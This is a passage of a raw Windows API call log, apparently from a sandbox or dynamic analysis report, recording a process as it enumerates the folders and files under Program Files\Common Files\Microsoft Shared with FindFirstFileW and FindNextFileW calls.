Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0272.430] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.430] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0272.430] GetLastError () returned 0x5 [0272.430] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0272.430] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0272.430] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0272.430] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0272.430] GetLastError () returned 0x12 [0272.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0272.430] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.430] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0272.430] GetLastError () returned 0x12 [0272.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.460] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.461] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0272.466] GetLastError () returned 0x12 [0272.478] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0272.478] GetLastError () returned 0x12 [0272.478] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0272.478] GetLastError () returned 0x12 [0272.478] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0272.478] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.478] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.478] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0272.478] GetLastError () returned 0x12 [0272.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.478] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.478] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0272.478] GetLastError () returned 0x12 [0272.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.479] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.479] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0272.479] GetLastError () returned 0x12 [0272.480] FindNextFileW (in: hFindFile=0x806d58, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0272.480] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.480] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.480] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0272.480] GetLastError () returned 0x12 [0272.480] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0272.480] GetLastError () returned 0x12 [0272.480] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0272.480] GetLastError () returned 0x12 [0272.480] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0272.480] GetLastError () returned 0x12 [0272.480] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0272.480] GetLastError () returned 0x12 [0272.480] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0272.480] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.480] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.481] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0272.481] GetLastError () returned 0x12 [0272.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.481] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.481] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0272.481] GetLastError () returned 0x12 [0272.481] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0272.481] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.481] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.481] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0272.481] GetLastError () returned 0x12 [0272.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.481] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.481] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0272.482] GetLastError () returned 0x12 [0272.482] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0272.482] GetLastError () returned 0x12 [0272.482] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0272.482] GetLastError () returned 0x12 [0272.482] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0272.482] GetLastError () returned 0x12 [0272.482] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0272.482] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0272.482] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0272.482] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b2beb50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0272.482] GetLastError () returned 0x12 [0272.482] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b2beb50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0272.495] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: 